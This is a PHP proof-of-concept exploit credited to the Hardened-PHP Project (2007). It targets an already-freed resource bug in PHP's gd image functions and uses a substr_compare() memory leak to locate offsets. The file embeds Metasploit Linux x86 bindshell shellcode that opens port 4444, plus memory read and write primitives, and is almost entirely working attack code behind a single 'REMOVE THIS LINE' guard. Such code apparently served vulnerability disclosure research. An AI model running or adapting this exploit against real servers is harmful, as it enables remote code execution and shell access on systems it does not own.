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<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP gd already freed resource usage exploit // ////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE");
// linux x86 bindshell on port 4444 from Metasploit $shellcode = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46". "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f". "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6". "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06". "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc". "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d". "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65";
// Offsets used for the overwrite (will be overwritten by findOffsets() $offset_1 = 0x55555555; $offset_2 = 0x66666666; findOffsets(); // Comment out if you want to just test the crash
class dummyclass { }
function myErrorHandler() { imagedestroy($GLOBALS['img']); // Clipping $GLOBALS['x'] = str_repeat(chr(0), 7311); $GLOBALS['x'][7310] = chr(0x00); $GLOBALS['x'][7309] = chr(0x01); $GLOBALS['x'][7308] = chr(0x00);
$GLOBALS['x'][7307] = chr(0x7f); $GLOBALS['x'][7306] = chr(0xff); $GLOBALS['x'][7305] = chr(0xff); $GLOBALS['x'][7304] = chr(0xff);
$GLOBALS['x'][7303] = chr(0); $GLOBALS['x'][7302] = chr(0); $GLOBALS['x'][7301] = chr(0); $GLOBALS['x'][7300] = chr(0);
$GLOBALS['x'][7299] = chr(0x80); $GLOBALS['x'][7298] = chr(0); $GLOBALS['x'][7297] = chr(0); $GLOBALS['x'][7296] = chr(0);
// True Color Image $GLOBALS['x'][0x1c38] = chr(1); // True Color Pixelmap (1st entry must be 0) $GLOBALS['x'][0x1c3c] = chr(0x08); $GLOBALS['x'][0x1c3d] = chr(0x80); $GLOBALS['x'][0x1c3e] = chr(0x04); $GLOBALS['x'][0x1c3f] = chr(0x08);
return true; } function poke($addr, $value) { $GLOBALS['img'] = imagecreate(1, 1); imagesetpixel($GLOBALS['img'], $addr >> 2, new dummyclass(), $value); } function peek($addr) { $GLOBALS['img'] = imagecreate(1, 1); return imagecolorat($GLOBALS['img'], $addr >> 2, new dummyclass()); } printf("Using offsets %08x and %08x\n", $offset_1, $offset_2); error_reporting(E_ALL); set_error_handler("myErrorHandler"); poke($offset_2, $offset_1); unset($d);
// This function uses the substr_compare() vulnerability // to get the offsets. function findOffsets() { global $offset_1, $offset_2, $shellcode; // We need to NOT clear these variables, // otherwise the heap is too segmented global $memdump, $d, $arr; $sizeofHashtable = 39; $maxlong = 0x7fffffff;
// Signature of a big endian Hashtable of size 256 with 1 element $search = "\x00\x01\x00\x00\xff\x00\x00\x00\x01\x00\x00\x00";
$memdump = str_repeat("A", 18192); for ($i=0; $i<400; $i++) { $d[$i]=array(); } unset($d[350]); $x = str_repeat("\x01", $sizeofHashtable); unset($d[351]); unset($d[352]); $arr = array(); for ($i=0; $i<129; $i++) { $arr[$i] = 1; } $arr[$shellcode] = 1; for ($i=0; $i<129; $i++) { unset($arr[$i]); }
// If the libc memcmp leaks the information use it // otherwise we only get a case insensitive memdump $b = substr_compare(chr(65),chr(0),0,1,false) != 65;
for ($i=0; $i<18192; $i++) { $y = substr_compare($x, chr(0), $i+1, $maxlong, $b); $Y = substr_compare($x, chr(1), $i+1, $maxlong, $b); if ($y-$Y == 1 || $Y-$y==1){ $y = chr($y); if ($b && strtoupper($y)!=$y) { if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) { $y = strtoupper($y); } } $memdump[$i] = $y; } else { $y = substr_compare($x, chr(1), $i+1, $maxlong, $b); $Y = substr_compare($x, chr(2), $i+1, $maxlong, $b); if ($y-$Y != 1 && $Y-$y!=1){ $memdump[$i] = chr(1); } else { $memdump[$i] = chr(0); } } } // Search shellcode and hashtable and calculate memory address $pos_shellcode = strpos($memdump, $shellcode); $pos_hashtable = strpos($memdump, $search); if ($pos_shellcode == 0 || $pos_hashtable == 0) { die ("Unable to find offsets"); } $addr = substr($memdump, $pos_hashtable+6*4, 4); $addr = unpack("L", $addr); // Fill in both offsets $offset_1 = $addr[1] + 32; $offset_2 = $offset_1 - $pos_shellcode + $pos_hashtable + 8*4; } ?>
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